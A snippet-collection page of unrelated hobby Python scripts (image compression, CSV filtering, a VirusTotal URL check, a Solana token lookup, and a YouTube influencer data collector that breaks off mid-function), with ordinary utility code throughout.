Snippets Collections

#INPUT NUMBER OF APPLES WANNA BUY
Apples = 7
#COST PER APPLE
Cost = 3
#THIS IS YOUR MONEY
Money = 50
MoneyNeeded = Apples * Cost

if MoneyNeeded > 20:
    MoneyNeeded = ( Apples * Cost ) - 5
else: MoneyNeeded = Apples * Cost

print("                                        ____________")
print("                                       |            |")
print("                                       | Apple Shop |")
print("                                       |____________|")
print()
print("                                         NEW DEAL:")
print("                                SPEND > $20 WE TAKE $5 OFF")
print("")
print("                                MoneyNeeded & Apples Bought")
print("                                      ---------------")
print("                                           $",MoneyNeeded)
print("                                        ", Apples, "Apples")

print("                                      ---------------")
print("")
    
if MoneyNeeded > Money:
    print("                                       Not Enough Money")
else:
    print("                                       Enough Money ")
import os
from PIL import Image
from tkinter import Tk, filedialog

def process_image(input_path, output_folder, quality=75):
    filename = os.path.basename(input_path)
    name, ext = os.path.splitext(filename)
    ext = ext.lower()

    # Definir nombre de salida (siempre .jpg)
    output_path = os.path.join(output_folder, f"{name}.jpg")

    with Image.open(input_path) as img:
        if ext in ['.jpg', '.jpeg']:
            # Solo comprimir JPEG
            img.save(output_path, format='JPEG', quality=quality, optimize=True)
        else:
            # Convertir a JPEG y comprimir
            img = img.convert("RGB")  # Convertir de RGBA/PNG a RGB
            img.save(output_path, format='JPEG', quality=quality, optimize=True)

    print(f"Processed: {filename} → {output_path}")

def compress_images_in_folder(folder_path, quality=75):
    output_folder = os.path.join(folder_path, "compressed_jpeg")
    os.makedirs(output_folder, exist_ok=True)

    for filename in os.listdir(folder_path):
        if filename.lower().endswith(('.jpg', '.jpeg', '.png', '.bmp', '.tiff', '.webp')):
            input_path = os.path.join(folder_path, filename)
            process_image(input_path, output_folder, quality)

    print(f"\n✅ Finished. Compressed images saved in: {output_folder}")

def choose_folder():
    root = Tk()
    root.withdraw()
    return filedialog.askdirectory(title="Select folder with images to convert & compress")

if __name__ == "__main__":
    folder = choose_folder()
    if folder:
        compress_images_in_folder(folder, quality=75)
    else:
        print("No folder selected.")
import requests
import json
import config

def get_bundles(tokenAddress: str):
    url = "https://api.syrax.ai/v1/token/bundle"

    querystring = {"token":tokenAddress}

    response = requests.request("GET", url, params=querystring)

    text = json.loads(response.text)

    total_tokens = 0
    total_sol = 0
    for bundles in range(0, len(text['bundles'])):
        for trades in range(0, len(text['bundles'][bundles]['trades'])):
            total_sol += text['bundles'][bundles]['trades'][trades]['sol_amount']
            total_tokens += text['bundles'][bundles]['trades'][trades]['token_amount']
    return round(total_sol,1), round((total_tokens/config.pumpfun_supply)*100,2)

total_sol, total_tokens = get_bundles("6JfGs2hLL6gzX4sVhu2apGMRyMnCkWVDuBNCpfwjpump")
print(f"Total SOL: {total_sol}, Total Tokens Percentage: {total_tokens}")
import psutil

percent = psutil.sensors_battery().percent
full_charge = 100
indicator_len = 4

result = int((percent / full_charge) * indicator_len)
print('🟩' * result, f'{percent} %')

# example result
# 🟩🟩🟩 76 %
def fibonacci_series(n):
    fib_sequence = [0, 1]  # Starting values for Fibonacci series

    while len(fib_sequence) < n:
        # Add the last two numbers to get the next one
        next_number = fib_sequence[-1] + fib_sequence[-2]
        fib_sequence.append(next_number)

    return fib_sequence[:n]  # Return only first 'n' elements

# Example usage
num_terms = int(input("Enter the number of terms: "))
print("Fibonacci Series:")
print(fibonacci_series(num_terms))
import pandas as pd
import pyarrow as pa
import pyarrow.orc as orc
from glob import glob

dataset = pd.read_csv()

# Read the Pandas dataset as a PyArrow Table
pa_table = pa.Table.from_pandas(dataset)

# Write the PyArrow Table to an ORC file
with pa.OSFile("/home/saravana/Saravana/s3_maintain/s3-maintenance/Download_S3_Files/Datavisiooh/month_03.orc", "wb") as sink:
    with orc.ORCWriter(sink) as writer:
        writer.write(pa_table)

# Read the ORC file back into a Pandas DataFrame
orc_file_path = "/home/saravana/Saravana/s3_maintain/s3-maintenance/Download_S3_Files/Datavisiooh/month_03.orc"
df = orc.read_table(orc_file_path).to_pandas()
# Display the DataFrame
print(df.head())
final_list = []
for _,row in dataset.iterrows():
    lat = row['latitude']
    lng = row['longitude']
    radius = row['radius']
    country_iso = row['country_iso']
    tran_month = row['month']
    tran_year = row['year']

    start_date,end_date = get_start_end_date(tran_month,tran_year)
    query = get_monthly_count_query(lat,lng,radius,tran_month,tran_year,country_iso)
    print(query)
    
    input_json = row.to_dict()
    result_dataset = execute_query(query,redshift_username, redshift_password)
    data_json = result_dataset.to_dict(orient='records')[0]
    final_json = {**input_json,**data_json}
    final_list.append(final_json)

final_dataset = pd.DataFrame(final_list)
final_dataset
import os
import tkinter as tk
from tkinter import filedialog, messagebox

def seleccionar_directorio():
    ruta = filedialog.askdirectory()
    if ruta:
        entrada_ruta.delete(0, tk.END)
        entrada_ruta.insert(0, ruta)

def crear_carpetas():
    nombre = entrada_nombre.get().strip()
    ruta_base = entrada_ruta.get().strip()

    if not nombre or not ruta_base:
        messagebox.showwarning("Campos incompletos", "Por favor, completa todos los campos.")
        return

    formatos = ["dxv", "h264"]
    resoluciones = ["1080p", "2160p"]
    carpetas_creadas = []

    for formato in formatos:
        for resolucion in resoluciones:
            nombre_carpeta = f"{nombre}-{formato}-{resolucion}"
            ruta_completa = os.path.join(ruta_base, nombre_carpeta)
            os.makedirs(ruta_completa, exist_ok=True)
            carpetas_creadas.append(nombre_carpeta)

    messagebox.showinfo("Éxito", f"Se crearon las siguientes carpetas:\n" + "\n".join(carpetas_creadas))

# Interfaz gráfica
root = tk.Tk()
root.title("Crear carpetas")

tk.Label(root, text="Nombre base:").grid(row=0, column=0, sticky="e")
entrada_nombre = tk.Entry(root, width=40)
entrada_nombre.grid(row=0, column=1, padx=5, pady=5)

tk.Label(root, text="Ruta destino:").grid(row=1, column=0, sticky="e")
entrada_ruta = tk.Entry(root, width=40)
entrada_ruta.grid(row=1, column=1, padx=5, pady=5)
tk.Button(root, text="Seleccionar", command=seleccionar_directorio).grid(row=1, column=2, padx=5)

tk.Button(root, text="Crear carpetas", command=crear_carpetas).grid(row=2, column=1, pady=10)

root.mainloop()
import pandas as pd

# Cargar archivo
input_file = 'input.csv'
output_file = 'filtered_output.csv'

# Leer CSV
df = pd.read_csv(input_file)

# Paso 1: Identificar el monto del Tip por orden
# Creamos un nuevo DataFrame que contiene el monto del Tip por cada orden
tip_montos = df[df['item'].str.contains('Tip', case=False, na=False)][['orden', 'monto']]
tip_montos = tip_montos.rename(columns={'monto': 'monto_tip'})

# Paso 2: Unir esa información al DataFrame original (por la columna 'orden')
df = df.merge(tip_montos, on='orden', how='left')

# Paso 3: Aplicar el filtro original (conservar órdenes repetidas que tengan 'Tip')
filtered_df = df.groupby('orden').filter(lambda x: (x['item'].str.contains('Tip', case=False, na=False).any()))

# Paso 4: Eliminar filas sin 'metodo'
filtered_df = filtered_df[filtered_df['metodo'].notna()]

# Paso 5: Eliminar columna 'item'
filtered_df = filtered_df.drop(columns=['item'])

# Guardar resultado
filtered_df.to_csv(output_file, index=False)
print(f'Filtrado completado. Archivo guardado como {output_file}')
from dotenv import load_dotenv
from os import getenv
import vt

load_dotenv()

"""
requirements :
pip install python-dotenv==1.1.0
pip install vt_py==0.20.0

1 - Create account in https://www.virustotal.com/
2 - Copy your API Key and but it into .env file or put it into your script

"""
apikey = getenv('api_key')

url = input('URL:')

stats_meaning = {
    'malicious': 'No engine explicitly marked this URL as malicious (i.e., known for phishing, malware, scams, etc.). ✅',
    'suspicious': 'No engine thought the URL looked suspicious or sketchy based on patterns or heuristics. ✅',
    'harmless': 'engines scanned the URL and found it to be safe. ✅',
    'undetected': 'engines scanned it but didn’t detect anything, which often means they didn’t have an opinion one way or the other — like saying “no result.” 🟡',
    'timeout': 'No engines timed out while analyzing the URL. ✅',
}

with vt.Client(apikey=apikey) as client:
    analysis = client.scan_url(url=url, wait_for_completion=True)
    stats = analysis.stats
    for k in stats:
        print(f"{k} : {str(stats[k])} {stats_meaning[k].capitalize()}")


for i in reversed([ i for i in range(100)]):
    print(i)
import os
import logging
import pandas as pd
from typing import List, Dict, Optional, Any, Union, Tuple
from datetime import datetime, timedelta
import re
import traceback
from langdetect import detect, LangDetectException
from langdetect.lang_detect_exception import ErrorCode
import pycountry
import iso639
from youtube_transcript_api import YouTubeTranscriptApi
from youtube_transcript_api._errors import NoTranscriptFound, TranscriptsDisabled, NoTranscriptAvailable

from config.settings import (
    RAW_DATA_DIR, 
    PROCESSED_DATA_DIR,
    VIDEO_SAMPLE_SIZE,
    COMMENT_SAMPLE_SIZE
)
from src.scraper.youtube_api import YouTubeAPI
from src.analyzer.audience import AudienceAnalyzer
from src.analyzer.content import ContentAnalyzer


logger = logging.getLogger(__name__)

class DataCollector:
    
    def __init__(self, api_key: Optional[str] = None):
        self.api = YouTubeAPI(api_key)
        self.audience_analyzer = AudienceAnalyzer()
        self.content_analyzer = ContentAnalyzer()
        logger.info("DataCollector initialized")
    
    def collect_influencers_by_keywords(
        self, 
        keywords: List[str], 
        channels_per_keyword: int = 50,
        videos_per_channel: int = 10,
        comments_per_video: int = 100,
        save_intermediate: bool = True
    ) -> pd.DataFrame:
        
        logger.info(f"Starting influencer data collection for {len(keywords)} keywords")
        
        # Search for channels by keywords
        all_channels = pd.DataFrame()
        for keyword in keywords:
            logger.info(f"Collecting channels for keyword: {keyword}")
            channels = self.api.search_channels_by_keyword(
                keyword=keyword, 
                max_results=channels_per_keyword
            )
            all_channels = pd.concat([all_channels, channels], ignore_index=True)
        
        # Remove duplicates
        all_channels = all_channels.drop_duplicates(subset=['channel_id'])
        
        if save_intermediate:
            timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
            channel_search_path = os.path.join(
                PROCESSED_DATA_DIR, 
                f"channel_search_results_{timestamp}.csv"
            )
            all_channels.to_csv(channel_search_path, index=False)
            logger.info(f"Saved channel search results to {channel_search_path}")
        
        # Get channel statistics
        channel_ids = all_channels['channel_id'].unique().tolist()
        logger.info(f"Collecting detailed statistics for {len(channel_ids)} channels")
        channel_stats = self.api.get_channel_statistics(channel_ids)
        
        if save_intermediate:
            timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
            channel_stats_path = os.path.join(
                PROCESSED_DATA_DIR, 
                f"channel_statistics_{timestamp}.csv"
            )
            channel_stats.to_csv(channel_stats_path, index=False)
            logger.info(f"Saved channel statistics to {channel_stats_path}")
        
        # Collect videos and comments
        all_videos = pd.DataFrame()
        all_video_stats = pd.DataFrame()
        all_comments = pd.DataFrame()
        
        for _, channel in channel_stats.iterrows():
            channel_id = channel['channel_id']
            playlist_id = channel.get('playlist_id')
            
            if not playlist_id:
                logger.warning(f"No playlist ID found for channel {channel_id}")
                continue
                
            logger.info(f"Collecting videos for channel: {channel['title']} ({channel_id})")
            
            # Get videos for channel
            try:
                video_ids = self.api.get_channel_videos(
                    playlist_id=playlist_id, 
                    max_results=videos_per_channel
                )
                
                if not video_ids:
                    logger.warning(f"No videos found for channel {channel_id}")
                    continue
                
                # Get video details
                video_details = self.api.get_video_details(video_ids)
                all_video_stats = pd.concat([all_video_stats, video_details], ignore_index=True)
                
                # Get comments for sample of videos
                for video_id in video_ids[:min(3, len(video_ids))]:
                    try:
                        comments = self.api.get_video_comments(
                            video_id=video_id, 
                            max_results=comments_per_video
                        )
                        all_comments = pd.concat([all_comments, comments], ignore_index=True)
                    except Exception as e:
                        logger.error(f"Error collecting comments for video {video_id}: {str(e)}")
            except Exception as e:
                logger.error(f"Error collecting videos for channel {channel_id}: {str(e)}")
        
        if save_intermediate:
            # Save video statistics
            timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
            video_stats_path = os.path.join(
                PROCESSED_DATA_DIR, 
                f"video_statistics_{timestamp}.csv"
            )
            all_video_stats.to_csv(video_stats_path, index=False)
            logger.info(f"Saved video statistics to {video_stats_path}")
            
            # Save comment data
            if not all_comments.empty:
                comments_path = os.path.join(
                    PROCESSED_DATA_DIR, 
                    f"video_comments_{timestamp}.csv"
                )
                all_comments.to_csv(comments_path, index=False)
                logger.info(f"Saved video comments to {comments_path}")
        
        # Create comprehensive influencer dataset
        logger.info("Creating combined influencer dataset")
        try:
            influencer_data = self._create_influencer_dataset(
                channel_stats=channel_stats,
                video_stats=all_video_stats,
                comments=all_comments
            )
            
            # Save final dataset
            timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
            output_path = os.path.join(
                PROCESSED_DATA_DIR, 
                f"influencer_data_{timestamp}.csv"
            )
            influencer_data.to_csv(output_path, index=False)
            logger.info(f"Saved influencer dataset to {output_path}")
            
            return influencer_data
        except Exception as e:
            logger.error(f"Error creating influencer dataset: {str(e)}")
            logger.error(traceback.format_exc())
        
        if not influencer_data:
            logger.warning("No influencer data was generated")
            
            return pd.DataFrame(columns=[
                "influencer_id", "name", "platform", "location", "languages", 
                "category_niche", "follower_count", "audience_demographics",
                "engagement_rate", "audience_interests", "content_types", 
                "post_frequency_month", "avg_views", "collaboration_count",
                "sponsored_ratio", "reputation_score", "follower_quality_score",
                "content_originality_score", "comment_authenticity_score",
                "cost_per_post", "negotiation_flexibility", "historical_performance",
                "controversy_flag", "compliance_status"
            ])
        
        return pd.DataFrame(influencer_data)
    
    def _extract_content_types(self, videos_df: pd.DataFrame) -> List[str]:
        """Extract content types from video titles and descriptions."""
        content_type_keywords = {
            'review': ['review', 'unboxing', 'first look', 'hands-on'],
            'tutorial': ['tutorial', 'how to', 'guide', 'tips', 'learn'],
            'gameplay': ['gameplay', 'playthrough', 'gaming', 'let\'s play'],
            'vlog': ['vlog', 'day in the life', 'follow me'],
            'interview': ['interview', 'qa', 'q&a', 'questions'],
            'reaction': ['reaction', 'reacting to', 'react'],
            'podcast': ['podcast', 'talk show', 'discussion'],
            'education': ['explained', 'educational', 'learn', 'course'],
            'lifestyle': ['lifestyle', 'routine', 'tour'],
            'recipes': ['recipe', 'cooking', 'baking', 'food'],
            'workout': ['workout', 'exercise', 'fitness', 'training']
        }
        
        content_types_count = {ct: 0 for ct in content_type_keywords}
        
        # Check each video title and description for content type keywords
        for _, video in videos_df.iterrows():
            title = video.get('title', '').lower() if isinstance(video.get('title'), str) else ''
            description = video.get('description', '').lower() if isinstance(video.get('description'), str) else ''
            
            for content_type, keywords in content_type_keywords.items():
                for keyword in keywords:
                    if keyword in title or keyword in description:
                        content_types_count[content_type] += 1
                        break
        
        # Get top content types by count
        top_content_types = sorted(content_types_count.items(), key=lambda x: x[1], reverse=True)
        return [ct for ct, count in top_content_types if count > 0][:3]
    
    def _estimate_cost_per_post(self, followers: int, engagement_rate: float) -> float:
        """Estimate cost per post based on followers and engagement rate."""
        try:
            # Ensure we have valid numbers
            followers = int(followers) if pd.notnull(followers) else 0
            engagement_rate = float(engagement_rate) if pd.notnull(engagement_rate) else 0
            
            # Base cost calculation by follower count
            if followers < 10000:  # Nano influencer
                base_cost = 20 + (followers / 10000) * 80
            elif followers < 100000:  # Micro influencer
                base_cost = 100 + (followers - 10000) * (400 / 90000)
            elif followers < 500000:  # Mid-tier influencer
                base_cost = 500 + (followers - 100000) * (4500 / 400000)
            elif followers < 1000000:  # Macro influencer
                base_cost = 5000 + (followers - 500000) * (5000 / 500000)
            else:  # Mega influencer
                base_cost = 10000 + (followers - 1000000) * 0.005
            
            # Adjust by engagement rate
            avg_engagement = 0.02  # 2% is considered average
            
            if engagement_rate > 0:
                engagement_multiplier = max(0.5, min(3.0, engagement_rate / avg_engagement))
            else:
                engagement_multiplier = 0.5
            
            return base_cost * engagement_multiplier
        except Exception as e:
            logger.error(f"Error estimating cost per post: {str(e)}")
            return 100  # Default fallback cost
    
    def _clean_category_urls(self, categories: List[str]) -> List[str]:
        """Clean category URLs to extract readable category names."""
        cleaned_categories = []
        if not categories:
            return cleaned_categories
            
        if not isinstance(categories, list):
            if isinstance(categories, str):
                categories = [categories]
            else:
                return cleaned_categories
                
        for category in categories:
            if isinstance(category, str):
                # Try to extract category name from URL
                match = re.search(r'/([^/]+)$', category)
                if match:
                    # Convert underscores to spaces and capitalize
                    category_name = match.group(1).replace('_', ' ').title()
                    cleaned_categories.append(category_name)
                else:
                    # If it's not a URL, use as is
                    if not category.startswith('http'):
                        cleaned_categories.append(category)
                    else:
                        # Last resort: split by slashes and take last part
                        parts = category.split('/')
                        if parts:
                            category_name = parts[-1].replace('_', ' ').title()
                            cleaned_categories.append(category_name)
        
        return cleaned_categories
    
    def _get_transcript_for_video(self, video_id: str, max_chars: int = 10000) -> str:
        """
        Get transcript text for a video using YouTube Transcript API.
        Returns empty string if transcript is not available.
        """
        try:
            transcript_list = YouTubeTranscriptApi.list_transcripts(video_id)
            
            # First try to get a manual transcript (usually more accurate)
            try:
                transcript = transcript_list.find_manually_created_transcript()
                transcript_data = transcript.fetch()
            except:
                # Fall back to generated transcript
                try:
                    transcript = transcript_list.find_generated_transcript()
                    transcript_data = transcript.fetch()
                except:
                    # Try any available transcript
                    transcript = transcript_list.find_transcript(['en', 'es', 'fr', 'de', 'it', 'pt', 'ru', 'ja', 'ko', 'zh-Hans'])
                    transcript_data = transcript.fetch()
            
            # Get the text from transcript entries
            full_text = " ".join([entry['text'] for entry in transcript_data])
            
            # Limit text length to prevent processing very long transcripts
            return full_text[:max_chars]
            
        except (NoTranscriptFound, TranscriptsDisabled, NoTranscriptAvailable) as e:
            logger.warning(f"No transcript available for video {video_id}: {str(e)}")
            return ""
        except Exception as e:
            logger.error(f"Error fetching transcript for video {video_id}: {str(e)}")
            return ""
    
    def _detect_language_from_transcripts(self, video_ids: List[str], max_videos: int = 3) -> Tuple[str, str]:
        """
        Detect language from video transcripts.
        Returns a tuple of (language_code, language_name)
        """
        logger.info(f"Detecting language from transcripts of {min(len(video_ids), max_videos)} videos")
        
        transcript_texts = []
        
        # Try to get transcripts from up to max_videos videos
        for video_id in video_ids[:max_videos]:
            transcript_text = self._get_transcript_for_video(video_id)
            if transcript_text:
                transcript_texts.append(transcript_text)
                
                # If we get a good transcript, we might not need more
                if len(transcript_text) > 1000:
                    break
        
        if not transcript_texts:
            logger.warning("No transcripts found for language detection")
            return "en", "English"  # Default fallback
        
        # Combine transcript texts and detect language
        combined_text = " ".join(transcript_texts)
        
        try:
            lang_code = detect(combined_text)
            
            try:
                language = iso639.languages.get(part1=lang_code)
                lang_name = language.name
            except (KeyError, AttributeError):
                try:
                    language = pycountry.languages.get(alpha_2=lang_code)
                    lang_name = language.name if language else lang_code
                except (KeyError, AttributeError):
                    lang_name = f"Unknown ({lang_code})"
            
            logger.info(f"Detected language from transcript: {lang_name} ({lang_code})")
            return lang_code, lang_name
            
        except LangDetectException as e:
            logger.warning(f"Could not detect language from transcript: {e}")
            return "en", "English"  # Default fallback
    
    def _detect_language(self, text_samples: List[str]) -> Tuple[str, str]:
        """
        Detect the language from a list of text samples.
        Returns a tuple of (language_code, language_name)
        """
        if not text_samples:
            return "en", "English"  # Default fallback
        
        # Combine text samples for better detection
        combined_text = " ".join(text_samples)[:10000]
        
        try:
            # Detect language from text
            lang_code = detect(combined_text)
            
            # Get language name
            try:
                language = iso639.languages.get(part1=lang_code)
                lang_name = language.name
            except (KeyError, AttributeError):
                try:
                    language = pycountry.languages.get(alpha_2=lang_code)
                    lang_name = language.name if language else lang_code
                except (KeyError, AttributeError):
                    lang_name = f"Unknown ({lang_code})"
            
            return lang_code, lang_name
            
        except LangDetectException as e:
            if hasattr(e, "code") and e.code == ErrorCode.CantDetectLanguage:
                logger.warning(f"Could not detect language: {e}")
            else:
                logger.error(f"Language detection error: {e}")
            return "en", "English"  # Default fallback
    
    def _create_influencer_dataset(
        self, 
        channel_stats: pd.DataFrame,
        video_stats: pd.DataFrame,
        comments: pd.DataFrame
    ) -> pd.DataFrame:
        """Create a comprehensive dataset of influencer information."""
        logger.info("Creating influencer dataset")
        influencer_data = []
        
        for i, (_, channel) in enumerate(channel_stats.iterrows()):
            try:
                channel_id = channel['channel_id']
                
                # Generate influencer ID
                influencer_id = f"I{(i+1):03d}"
                
                # Get videos for this channel
                channel_videos = video_stats[video_stats['channel_id'] == channel_id].copy()
                
                if channel_videos.empty:
                    logger.warning(f"No videos found for channel {channel_id} in the collected data")
                    continue
                
                # Calculate basic engagement metrics
                total_views = channel_videos['view_count'].sum()
                total_likes = channel_videos['like_count'].sum()
                total_comments = channel_videos['comment_count'].sum()
                
                avg_views = channel_videos['view_count'].mean()
                avg_likes = channel_videos['like_count'].mean()
                avg_comments = channel_videos['comment_count'].mean()
                
                # Ensure numeric values
                total_views = float(total_views) if pd.notnull(total_views) else 0
                total_likes = float(total_likes) if pd.notnull(total_likes) else 0
                total_comments = float(total_comments) if pd.notnull(total_comments) else 0
                
                # Calculate engagement rate
                if total_views > 0:
                    engagement_rate = ((total_likes + total_comments) / total_views) * 100
                else:
                    engagement_rate = 0
                
                # Format engagement rate for later calculations
                engagement_rate_formatted = round(engagement_rate / 100, 3)
                
                # Calculate post frequency
                if len(channel_videos) >= 2:
                    try:
                        # Convert published_at to datetime
                        channel_videos['published_at'] = pd.to_datetime(channel_videos['published_at'], errors='coerce')
                        
                        # Filter out videos with invalid dates
                        valid_dates = channel_videos[channel_videos['published_at'].notna()]
                        
                        if len(valid_dates) >= 2:
                            # Sort by date
                            sorted_videos = valid_dates.sort_values('published_at')
                            
                            # Calculate date range
                            first_video_date = sorted_videos['published_at'].iloc[0]
                            last_video_date = sorted_videos['published_at'].iloc[-1]
                            date_diff = (last_video_date - first_video_date).days
                            
                            # Calculate posts per month
                            if date_diff > 0:
                                post_frequency = (len(channel_videos) / (date_diff / 30))
                            else:
                                post_frequency = len(channel_videos) 
                        else:
                            post_frequency = len(channel_videos)
                    except Exception as e:
                        logger.error(f"Error calculating post frequency for channel {channel_id}: {str(e)}")
                        post_frequency = len(channel_videos)
                else:
                    post_frequency = len(channel_videos) 
                
                # Extract categories
                categories = []
                for _, video in channel_videos.iterrows():
                    category = video.get('topic_categories')
                    if isinstance(category, list):
                        categories.extend(self._clean_category_urls(category))
                
                # Get country information
                country = channel.get('country')
                if country and isinstance(country, str):
                    country_name = country
                else:
                    # Try to determine from comments
                    channel_comments = comments[comments['video_id'].isin(channel_videos['video_id'])]
                    if not channel_comments.empty and 'author_country' in channel_comments.columns:
                        # Get most common country from comments
                        country_counts = channel_comments['author_country'].value_counts()
                        country_name = country_counts.index[0] if len(country_counts) > 0 else "Unknown"
                    else:
                        country_name = "Global"
                
                # Language detection - with improved transcript-based detection
                
                # 1. First try from channel metadata
                language_code = channel.get('default_language')
                language_name = None
                
                # 2. If available in metadata, get language name
                if language_code and isinstance(language_code, str):
                    try:
                        # Try to get language name from ISO 639-1 code
                        language = iso639.languages.get(part1=language_code)
                        language_name = language.name
                    except (KeyError, AttributeError):
                        try:
                            # Try pycountry as fallback
                            language = pycountry.languages.get(alpha_2=language_code)
                            language_name = language.name if language else None
                        except (KeyError, AttributeError):
                            language_name = None
                
                # 3. If language not determined from metadata, try transcript-based detection
                if not language_name:
                    # Get video IDs to analyze
                    video_ids = channel_videos['video_id'].tolist()
                    
                    # Try to detect language from transcripts
                    transcript_lang_code, transcript_lang_name = self._detect_language_from_transcripts(video_ids)
                    
                    # If we got a valid language from transcript, use it
                    if transcript_lang_code != "en" or (transcript_lang_code == "en" and len(video_ids) > 0):
                        language_code, language_name = transcript_lang_code, transcript_lang_name
                        logger.info(f"Using transcript-based language detection for channel {channel_id}: {language_name}")
                    else:
                        # 4. As last resort, fall back to text-based detection
                        text_samples = []
                        
                        # Collect text samples from video titles and descriptions
                        for _, video in channel_videos.iterrows():
                            title = video.get('title')
                            desc = video.get('description')
                            
                            if isinstance(title, str) and len(title) > 10:
                                text_samples.append(title)
                            
                            if isinstance(desc, str) and len(desc) > 20:
                                # Limit description length
                                text_samples.append(desc[:500])
                        
                        # Add channel description
                        channel_desc = channel.get('description')
                        if isinstance(channel_desc, str) and len(channel_desc) > 20:
                            text_samples.append(channel_desc)
                        
                        # Add comments as text samples
                        channel_comments = comments[comments['video_id'].isin(channel_videos['video_id'])]
                        if not channel_comments.empty:
                            for comment_text in channel_comments['text'].head(30):
                                if isinstance(comment_text, str) and len(comment_text) > 15:
                                    text_samples.append(comment_text)
                        
                        # Detect language from text samples
                        if text_samples:
                            language_code, language_name = self._detect_language(text_samples)
                        else:
                            language_code, language_name = "en", "English"
                
                # Extract channel keywords and video tags
                channel_keywords = channel.get('keywords', '')
                video_tags = []
                for tags in channel_videos['tags']:
                    if isinstance(tags, list):
                        video_tags.extend(tags)
                
                # Detect sponsored content
                sponsored_keywords = ['sponsored', 'ad', 'advertisement', 'partner', 'paid', '#ad', '#sponsored']
                sponsored_count = 0
                total_analyzed = 0
                
                for title in channel_videos['title']:
                    if isinstance(title, str):
                        total_analyzed += 1
                        if any(kw.lower() in title.lower() for kw in sponsored_keywords):
                            sponsored_count += 1
                
                for desc in channel_videos['description']:
                    if isinstance(desc, str):
                        # Only count unique videos
                        if total_analyzed < len(channel_videos):
                            total_analyzed += 1
                            if any(kw.lower() in desc.lower() for kw in sponsored_keywords):
                                sponsored_count += 1
                
                # Calculate sponsored content ratio
                sponsored_ratio = sponsored_count / max(1, total_analyzed)
                
                # Analyze audience sentiment and authenticity
                comment_sentiment = 0.5
                comment_authenticity = 0.5
                
                if not comments.empty:
                    channel_comments = comments[comments['video_id'].isin(channel_videos['video_id'])].copy()
                    
                    if not channel_comments.empty:
                        try:
                            audience_analysis = self.audience_analyzer.analyze_audience_from_comments(channel_comments)
                            comment_sentiment = audience_analysis.get('sentiment_score', 0.5)
                            comment_authenticity = audience_analysis.get('authenticity_score', 0.5)
                        except Exception as e:
                            logger.warning(f"Could not analyze audience for channel {channel_id}: {e}")
                
                # Estimate audience demographics
                audience_type = "Unknown"
                if len(categories) > 0:
                    # Use audience analyzer if available
                    if hasattr(self.audience_analyzer, 'estimate_demographics'):
                        try:
                            demographics = self.audience_analyzer.estimate_demographics(
                                channel_data=channel.to_dict(),
                                video_stats=channel_videos,
                                comments=channel_comments if 'channel_comments' in locals() else pd.DataFrame()
                            )
                            
                            # Extract primary demographic info
                            primary_age = max(demographics.get('age_groups', {}).items(), key=lambda x: x[1])[0]
                            primary_gender = max(demographics.get('gender_split', {}).items(), key=lambda x: x[1])[0]
                            
                            if primary_gender == 'male' and primary_age in ['13-17', '18-24']:
                                audience_type = "Young Male Adults"
                            elif primary_gender == 'female' and primary_age in ['13-17', '18-24']:
                                audience_type = "Young Female Adults"
                            elif primary_age in ['25-34', '35-44']:
                                audience_type = "Adults 25-44"
                            elif primary_age in ['45-54', '55+']:
                                audience_type = "Adults 45+"
                            else:
                                # Fall back to category-based audience type
                                if any('gaming' in c.lower() for c in categories):
                                    audience_type = "Gaming Enthusiasts"
                                elif any('beauty' in c.lower() for c in categories):
                                    audience_type = "Beauty Enthusiasts"
                                elif any('tech' in c.lower() for c in categories):
                                    audience_type = "Tech Enthusiasts"
                                else:
                                    audience_type = "General Audience"
                        except Exception as e:
                            logger.warning(f"Error estimating demographics for channel {channel_id}: {e}")
                    else:
                        # Use category-based audience type as fallback
                        if any('gaming' in c.lower() for c in categories):
                            audience_type = "Gaming Enthusiasts"
                        elif any('beauty' in c.lower() for c in categories):
                            audience_type = "Beauty Enthusiasts"
                        elif any('tech' in c.lower() for c in categories):
                            audience_type = "Tech Enthusiasts"
                        else:
                            audience_type = "General Audience"
                
                # Extract category and content types
                category_niche = "/".join(set(categories[:3])) if categories else "general"
                content_types = "/".join(self._extract_content_types(channel_videos)) if len(channel_videos) > 0 else "general"
                
                # Extract audience interests
                audience_interests = []
                if hasattr(self.audience_analyzer, 'analyze_audience_interests'):
                    try:
                        audience_interests = self.audience_analyzer.analyze_audience_interests(channel_videos)
                    except Exception as e:
                        logger.warning(f"Error analyzing audience interests for channel {channel_id}: {e}")
                
                # Fallback to video tags for audience interests
                if not audience_interests and video_tags:
                    tag_counts = {}
                    for tag in video_tags:
                        if isinstance(tag, str):
                            tag_counts[tag] = tag_counts.get(tag, 0) + 1
                    
                    sorted_tags = sorted(tag_counts.items(), key=lambda x: x[1], reverse=True)
                    audience_interests = [tag for tag, _ in sorted_tags[:5]]
                
                audience_interests_str = "/".join(audience_interests) if audience_interests else "general"
                
                # Set platform
                platform = "YouTube"
                
                # Detect collaborations
                collaboration_count = 0
                collab_keywords = ['collab', 'featuring', 'feat', 'ft.', 'with', 'x ', ' x ']
                
                for title in channel_videos['title']:
                    if isinstance(title, str) and any(kw.lower() in title.lower() for kw in collab_keywords):
                        collaboration_count += 1
                
                for desc in channel_videos['description']:
                    if isinstance(desc, str) and any(kw.lower() in desc.lower() for kw in collab_keywords):
                        # Avoid double counting
                        if collaboration_count < len(channel_videos):
                            collaboration_count += 1
                
                # Calculate reputation score based on comment sentiment
# Calculate reputation score based on comment sentiment
                reputation_score = round(comment_sentiment, 2)
                
                # Calculate follower quality score
                avg_platform_er = 0.015  # Average engagement rate on YouTube
                if engagement_rate_formatted > 0:
                    follower_quality_score = round(min(0.99, max(0.1, engagement_rate_formatted / avg_platform_er * 0.5)), 2)
                else:
                    follower_quality_score = 0.1
                
                # Calculate content originality score
                if hasattr(self.content_analyzer, 'calculate_content_originality'):
                    try:
                        content_originality_raw = self.content_analyzer.calculate_content_originality(channel_videos)
                        content_originality_score = round(min(0.99, max(0.1, content_originality_raw / 10)), 2)
                    except Exception as e:
                        logger.warning(f"Error calculating content originality for channel {channel_id}: {e}")
                        
                        # Fallback method for content originality
                        title_word_set = set()
                        title_word_count = 0
                        
                        for title in channel_videos['title']:
                            if isinstance(title, str):
                                words = re.findall(r'\b\w+\b', title.lower())
                                title_word_set.update(words)
                                title_word_count += len(words)
                        
                        title_uniqueness = len(title_word_set) / max(1, title_word_count)
                        content_originality_score = round(min(0.99, max(0.1, 0.5 + title_uniqueness * 0.4)), 2)
                else:
